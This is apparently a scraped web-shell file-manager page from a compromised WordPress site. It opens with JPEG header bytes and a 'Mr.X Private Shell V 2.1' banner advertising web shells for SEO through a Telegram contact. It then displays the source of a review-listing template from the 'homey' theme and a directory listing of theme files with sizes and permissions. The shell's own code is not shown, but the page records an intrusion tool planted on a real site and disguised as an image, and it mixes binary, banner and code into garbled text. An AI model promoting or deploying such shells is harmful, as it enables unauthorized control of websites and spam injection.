����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
global $post, $homey_local;
$num_of_review = homey_option('num_of_review');
$args = array(
'post_type' => 'homey_review',
'meta_query' => array(
'relation' => 'AND',
array(
'key' => 'reservation_experience_id',
'value' => $post->ID,
'compare' => '=',
),
array(
'key' => 'homey_where_to_display',
'value' => 'experience_detail_page',
'compare' => '=',
),
),
// 'meta_key' => 'reservation_experience_id',
// 'meta_value' => $post->ID,
'posts_per_page' => $num_of_review,
'post_status' => 'publish'
);
$review_query = new WP_Query($args);
$total_review = $review_query->found_posts;
$total_pages = $review_query->max_num_pages;
if($total_review > 1) {
$review_label = $homey_local['rating_reviews_label'];
} else {
$review_label = $homey_local['rating_review_label'];
}
?>
<div id="reviews-section" class="reviews-section">
<div class="sort-wrap clearfix">
<div class="pull-left">
<h2><?php echo intval($total_review).' '.esc_attr($review_label); ?></h2>
</div>
<div class="pull-right" style="display: none;">
<ul class="list-inline">
<li><strong><?php echo esc_attr($homey_local['sort_by']); ?>:</strong></li>
<li>
<select id="sort_review" class="selectpicker bs-select-hidden" data-live-search-style="begins" data-live-search="false">
<option value=""><?php esc_html_e( 'Default Order', 'homey' ); ?></option>
<option value="a_date"><?php esc_html_e( 'Date Old to New', 'homey' ); ?></option>
<option value="d_date"><?php esc_html_e( 'Date New to Old', 'homey' ); ?></option>
<option value="a_rating"><?php esc_html_e( 'Rating (Low to High)', 'homey' ); ?></option>
<option value="d_rating"><?php esc_html_e( 'Rating (High to Low)', 'homey' ); ?></option>
</select>
</li>
</ul>
</div>
</div>
<div class="alert alert-info" role="alert">
<i class="homey-icon homey-icon-check-circle-1" aria-hidden="true"></i> <?php echo esc_attr($homey_local['rating_noti']); ?>
</div>
<input type="hidden" name="review_experience_id" id="review_experience_id" value="<?php echo intval($post->ID); ?>">
<input type="hidden" name="review_paged" id="review_paged" value="1">
<input type="hidden" name="total_pages" id="total_pages" value="<?php echo intval($total_pages); ?>">
<input type="hidden" name="page_sort" id="page_sort" value="">
<ul id="homey_reviews" class="list-unstyled">
<?php
if($review_query->have_posts()) {
while($review_query->have_posts()): $review_query->the_post();
$review_author = homey_get_author('70', '70', 'img-circle');
$homey_rating = get_post_meta(get_the_ID(), 'homey_rating', true);
// $where_to_dispaly = get_post_meta(get_the_ID(), 'homey_where_to_display', true);//experience_detail_page, host_profile,renter_profile
?>
<li id="review-<?php the_ID();?>" class="review-block">
<div class="media">
<div class="media-left">
<a class="media-object">
<?php echo ''.$review_author['photo']; ?>
</a>
</div>
<div class="media-body media-middle">
<div class="msg-user-info">
<div class="msg-user-left">
<div>
<strong><?php echo esc_attr($review_author['name']); ?></strong>
<span class="rating">
<?php echo homey_get_review_stars($homey_rating, true, true, false); ?>
</span>
</div>
<div class="message-date">
<?php
$human_time_diff = sprintf(esc_html__('%s ago', 'homey'), human_time_diff(get_the_time('U'), current_time('timestamp')));
$dateTimeOfReview = get_the_time( get_option( 'date_format' ) ).' '. get_the_time( get_option( 'time_format' )); ?>
<time datetime="<?php echo $dateTimeOfReview; ?>"><i class="homey-icon homey-icon-calendar-3"></i> <?php echo $human_time_diff;?> </time>
</div>
</div>
</div>
<?php the_content(); ?>
</div>
</div>
</li>
<?php endwhile; wp_reset_postdata(); ?>
<?php } ?>
</ul>
<?php
if($total_review > $num_of_review) { ?>
<nav class="pagination-wrap" aria-label="Page navigation">
<ul class="pagination">
<li>
<button class="btn btn-primary-outlined" disabled id="review_prev">
<span aria-hidden="true"><</span>
</button>
</li>
<li>
<button class="btn btn-primary-outlined" id="review_next">
<span aria-hidden="true">></span>
</button>
</li>
</ul>
</nav>
<?php } ?>
</div><!-- reviews-section -->
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| booking | Folder | 0755 |
|
|
| about-commercial.php | File | 2.84 KB | 0644 |
|
| about-host.php | File | 840 B | 0644 |
|
| about-v1.php | File | 7.9 KB | 0644 |
|
| about-v2.php | File | 6.72 KB | 0644 |
|
| about.php | File | 277 B | 0644 |
|
| availability.php | File | 2.37 KB | 0644 |
|
| contact-form.php | File | 5.05 KB | 0644 |
|
| contact-host.php | File | 4.08 KB | 0644 |
|
| custom-periods.php | File | 2.06 KB | 0644 |
|
| details.php | File | 7.78 KB | 0644 |
|
| experience-nav.php | File | 3.81 KB | 0644 |
|
| extra-prices.php | File | 1.76 KB | 0644 |
|
| features.php | File | 1.87 KB | 0644 |
|
| gallery.php | File | 3.39 KB | 0644 |
|
| host.php | File | 4.4 KB | 0644 |
|
| item-address.php | File | 2.2 KB | 0644 |
|
| map.php | File | 1.5 KB | 0644 |
|
| prices-hourly.php | File | 6.45 KB | 0644 |
|
| prices.php | File | 1.37 KB | 0644 |
|
| providing.php | File | 3.31 KB | 0644 |
|
| reviews.php | File | 5.57 KB | 0644 |
|
| rules.php | File | 5.31 KB | 0644 |
|
| services.php | File | 1.59 KB | 0644 |
|
| share.php | File | 1.67 KB | 0644 |
|
| similar-experience.php | File | 2.29 KB | 0644 |
|
| single-experience-v1.php | File | 6.19 KB | 0644 |
|
| single-experience-v2.php | File | 5.75 KB | 0644 |
|
| single-experience-v3.php | File | 6.21 KB | 0644 |
|
| single-experience-v4.php | File | 5.86 KB | 0644 |
|
| single-experience-v5.php | File | 6.6 KB | 0644 |
|
| single-experience-v6.php | File | 6.58 KB | 0644 |
|
| title.php | File | 3.41 KB | 0644 |
|
| top-gallery-full-width.php | File | 1.54 KB | 0644 |
|
| top-gallery-grid-section.php | File | 1.78 KB | 0644 |
|
| top-gallery-variable-width.php | File | 1.01 KB | 0644 |
|
| top-gallery.php | File | 1.44 KB | 0644 |
|
| video.php | File | 1.54 KB | 0644 |
|
| what-nearby.php | File | 10.32 KB | 0644 |
|